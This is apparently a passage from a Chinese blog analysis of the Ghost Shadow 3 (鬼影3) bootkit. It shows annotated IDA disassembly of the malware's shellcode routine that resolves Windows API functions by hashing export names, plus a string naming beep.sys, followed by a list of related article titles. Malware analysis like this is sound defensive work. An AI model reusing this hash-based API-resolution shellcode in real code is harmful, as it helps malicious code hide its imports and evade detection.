seg000:0000024F scasd ; EDI + 4, 下一个函数名的RVA
seg000:00000250 push edx
seg000:00000251
seg000:00000251 @GetExport_NameHashLoop: ; CODE XREF: @GetExport+30↓j
seg000:00000251 lodsb ; FunctionNameHash += _ROL_(FunctionName.Reverse(), 7)
seg000:00000252 sub edx, eax
seg000:00000254 ror edx, 7
seg000:00000257 test eax, eax
seg000:00000259 jnz short @GetExport_NameHashLoop
seg000:0000025B test edx, edx
seg000:0000025D pop edx
seg000:0000025E loopne @GetExport_NameLoop ; 逐个处理函数名
seg000:00000260 jnz short @GetExport_done ; 若找不到跳转
seg000:00000262 not ecx
seg000:00000264 mov edx, [ebp+AddressOfNameOrdinals]
seg000:00000267 add ecx, [ebp+NumberOfNames]
seg000:0000026A add edx, ebx
seg000:0000026C mov ax, [edx+ecx*2]
seg000:00000270 mov ecx, [ebp+AddressOfFunctions]
seg000:00000273 add ecx, ebx
seg000:00000275 add ebx, [ecx+eax*4]
seg000:00000278 mov [esp+20h+var_4], ebx ; ESP+1Ch = EAX重写栈中
seg000:00000278 ; EAX内容之后POPA恢复,上面代码就
seg000:00000278 ; 是把找到的函数地址写入EAX返回
seg000:0000027C
seg000:0000027C @GetExport_done: ; CODE XREF: @GetExport+20↑j
seg000:0000027C ; @GetExport+37↑j
seg000:0000027C popa
seg000:0000027D leave
seg000:0000027E retn 4
seg000:0000027E @GetExport endp
seg000:0000027E
seg000:0000027E ; ---------------------------------------------------------------------------
seg000:00000281 db 4Ah ; J
seg000:00000282 db 0
seg000:00000283 db 4Ch ; L
seg000:00000284 db 0
seg000:00000285 db 0
seg000:00000286 db 0
seg000:00000287 db 0
seg000:00000288 db 0
seg000:00000289 aSystemrootSyst:
seg000:00000289 unicode 0, <\SystemRoot\system32\drivers\beep.sys>,0
seg000:00000289 seg000 ends
seg000:00000289
seg000:00000289
seg000:00000289 end
- 鬼影3启动的技术细节
- 启动画面的细节处理
- h.264的技术细节
- SOA 实现的技术细节
- grub启动linux的一些细节
- 为什么一定要了解一种技术的细节
- 为什么一定要了解一种技术的细节
- 托管技术里面的一些注意细节
- 为什么一定要了解一种技术的细节
- 为什么一定要了解一种技术的细节
- 为什么一定要了解一种技术的细节
- 实现二级联动菜单的技术细节
- Java 中易出错的技术细节
- DPC(延迟过程调用)的技术细节
- android容易忽略的技术细节
- 唐巧-猿题库客户端的技术细节
- 从技术细节看美团的架构
- 从技术细节看美团的架构
- Yaffs2 文件系统移植
- Document Object Model Prototypes, Part 1: Introduction
- Document Object Model Prototypes, Part 2: Accessor (getter/setter) Support
- Reactor模式和NIO(转载)
- Create Advanced Web Applications With Object-Oriented Technique
- 鬼影3启动的技术细节
- Discuz中读取精华贴
- 处理WM_PAINT和WM_DRAWITEM
- 临界区使用方法实例
- 基于MBR 的bootkit的进展 鬼影-TDL4-BMW
- dom4j操作xml
- 同学录--利用二叉树存储结构实现建立、查找、新增、修改、删除等功能
- 在Windows中使用Cygwin安装HBase
- C++内存使用机制基本概念详解